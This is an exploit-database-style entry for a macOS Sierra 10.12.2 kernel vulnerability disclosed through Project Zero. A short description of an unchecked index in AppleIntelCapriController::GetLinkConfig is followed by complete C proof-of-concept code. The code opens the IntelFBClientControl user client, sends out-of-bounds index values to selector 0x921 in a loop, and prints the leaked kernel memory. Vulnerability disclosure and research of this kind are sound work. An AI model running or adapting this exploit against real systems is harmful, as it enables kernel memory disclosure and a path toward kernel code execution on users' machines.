Apple macOS Kernel 10.12.2 (16C67) – ‘AppleIntelCapriController::GetLinkConfig’ Code Execution Due to Lack of Bounds Checking
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071 Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer on which a virtual method is called. With some heap grooming this could be used to get kernel code execution. tested on MacOS Sierra 10.12.2 (16C67) */ // ianbeer // build: clang -o capri_exec capri_exec.c -framework IOKit #if 0 MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer on which a virtual method is called. With some heap grooming this could be used to get kernel code execution. tested on MacOS Sierra 10.12.2 (16C67) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach_error.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 4096; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0x1d8; for (int step = 1; step < 1000; step++) { memset(inputStruct, 0, inputStructCnt); *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8)); outputStructCnt = 4096; memset(outputStruct, 0, outputStructCnt); err = IOConnectCallMethod( conn, 0x921, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err == KERN_SUCCESS) { break; } printf("retrying 0x2000 up - %s\n", mach_error_string(err)); } uint64_t* leaked = (uint64_t*)(outputStruct+3); for (int i = 0; i < 0x1d8/8; i++) { printf("%016llx\n", leaked[i]); } return 0; } |